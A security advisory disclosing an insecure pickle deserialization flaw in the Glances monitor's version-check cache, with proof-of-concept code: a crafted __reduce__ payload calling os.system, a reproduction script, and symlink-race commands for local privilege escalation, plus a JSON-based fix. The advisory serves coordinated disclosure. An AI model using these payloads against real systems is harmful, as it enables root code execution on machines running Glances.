PT-2026-59160 · Pypi · Glance

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

7.8

Alta

VetorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

glances/outdated.py uses pickle.load() to read a version-check cache file stored at a predictable, world-accessible path (~/.cache/glances/glances-version.db or $XDG CACHE HOME/glances/glances-version.db). No integrity check, signature verification, or format validation is performed before deserialization. An attacker with write access to that path — through any of several realistic local or container-level scenarios — can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default).

Details

Affected file: glances/outdated.py, method Outdated. load cache(), line 121
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
python
# outdated.py ( load cache, line 119-127)
try:
  with open(self.cache file, 'rb') as f:
    cached data = pickle.load(f)     # ← no integrity check
except Exception as e:
  logger.debug(f"Cannot read version from cache file: {self.cache file} ({e})")
  ...
self.cache file is constructed from the XDG cache directory path at Outdated. init ():
python
# outdated.py ( init )
self.cache file = os.path.join(
  user cache dir('glances')[0],
  'glances-version.db'
)
On a default Linux installation this resolves to /home/john/.cache/glances/glances-version.db (or /root/.cache/glances/… when Glances runs as root).
Python's pickle module is an execution-capable serialisation format: any class that implements reduce can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at pickle.load() time. There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data.
The code was verified on x86 64 Linux, Python 3.13, Glances 4.5.5 dev1 (commit 04579778e733d705898a169e049dc84772c852da). A malicious pickle crafted with os.system() via reduce executed the injected shell command successfully before the surrounding Python code raised a TypeError.

PoC

Special configuration required
No non-default Glances configuration is needed. Version checking is enabled by default (check update = true). The only pre condition is that the attacker can write to the Glances user's XDG cache directory — see the attack scenarios below for how this arises in practice.

Attack scenario A — local privilege escalation (shared multi-user host)
Prerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account). The attacker is an unprivileged local user who has write access to the Glances user's ~/.cache/glances/ directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask).
Step 1 — Identify the cache path
bash
python3 -c "from glances.config import user cache dir; print(user cache dir()[0])"
# Example output: /root/.cache/glances
Step 2 — Craft and plant a malicious pickle
python
import pickle, os, pathlib

class MaliciousPayload:
  def  reduce (self):
    # This command runs as the Glances process user
    cmd = 'id >> /tmp/glances rce proof.txt'
    return (os.system, (cmd,))

cache dir = pathlib.Path('/root/.cache/glances')  # adjust to target
cache file = cache dir / 'glances-version.db'
cache dir.mkdir(parents=True, exist ok=True)
cache file.write bytes(pickle.dumps(MaliciousPayload()))
print(f'Payload written to {cache file}')
Step 3 — Wait for Glances to start (or restart it)
Glances calls load cache() automatically at startup when check update = true (the compiled-in default). No special configuration is required by the attacker.
Step 4 — Verify execution
bash
cat /tmp/glances rce proof.txt
# uid=0(root) gid=0(root) groups=0(root)  ← output from the Glances-user context

Attack scenario B — container / shared-volume poisoning
A compromised container that shares a Docker/Podman volume with the Glances container can write to the cache path on the shared volume. The next time Glances restarts (e.g. after a rolling update), the payload executes inside the Glances container with its privileges.

Attack scenario C — symlink race (TOCTOU)
Before the Glances cache directory is created for the first time (e.g. on a fresh installation), an attacker with write access to ~/.cache/ can create a symlink:
bash
mkdir -p /home/john/.cache
ln -s /tmp/attacker controlled /home/john/.cache/glances
When Glances writes its legitimate cache file it writes instead to /tmp/attacker controlled/glances-version.db, which the attacker can replace with the malicious pickle before the next start.

Minimal self-contained reproduction
python
import sys, os, pickle, pathlib, argparse

sys.path.insert(0, '/path/to/glances')  # adjust to local clone

FAKE CACHE = pathlib.Path('/tmp/glances test cache')
CACHE FILE = FAKE CACHE / 'glances-version.db'
FAKE CACHE.mkdir(parents=True, exist ok=True)

class Exploit:
  def  reduce (self):
    return (os.system, ('echo RCE confirmed >> /tmp/glances rce.txt',))

CACHE FILE.write bytes(pickle.dumps(Exploit()))

# Reproduce the exact Glances code path
from glances.outdated import Outdated
obj = object. new (Outdated)
obj.args = argparse.Namespace(disable check update=False, time=2)
obj.data = {}
obj.cache file = str(CACHE FILE)

try:
  obj. load cache()      # pickle.load() fires here
except Exception:
  pass             # expected: int not subscriptable

import time; time.sleep(0.2)
print(pathlib.Path('/tmp/glances rce.txt').read text())
# Prints: RCE confirmed

Impact

Vulnerability type: Insecure Deserialization (CWE-502)
Who is impacted: Any system where Glances is run with version checking enabled (the default) in a shared environment where a less-privileged process can write to the Glances user's XDG cache directory, or in any containerised deployment using shared volumes.
Impact:
  • Confidentiality: Full — the attacker gains code execution in the context of the Glances process and can read any data accessible to that user.
  • Integrity: Full — arbitrary commands can modify files, install persistence mechanisms, or alter system state.
  • Availability: Full — the Glances process and, if running as root, the system can be disrupted.
On many deployments Glances is run as root (required to access hardware performance counters without specific capabilities), meaning successful exploitation yields full root code execution without any further privilege escalation step.

Suggested Fix

Replace pickle with json for the version cache. The data stored is a simple Python dictionary containing two string values and a datetime object; a JSON representation is straightforward:
python
import json
from datetime import datetime

# Saving
with open(self.cache file, 'w', encoding='utf-8') as f:
  json.dump({
    'installed version': self.installed version(),
    'latest version':  latest,
    'refresh date':   datetime.now().isoformat(),
  }, f)

# Loading
with open(self.cache file, 'r', encoding='utf-8') as f:
  cached data = json.load(f)
  cached data['refresh date'] = datetime.fromisoformat(cached data['refresh date'])
If pickle is retained for any reason, the cache file must be protected with an HMAC keyed from a Glances-managed secret (e.g. a random key stored in the Glances config directory, which should itself be mode 0600).
As an additional hardening measure, restrict the permissions of the Glances cache directory to 0700 at creation time.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2496

Produtos afetados

Glance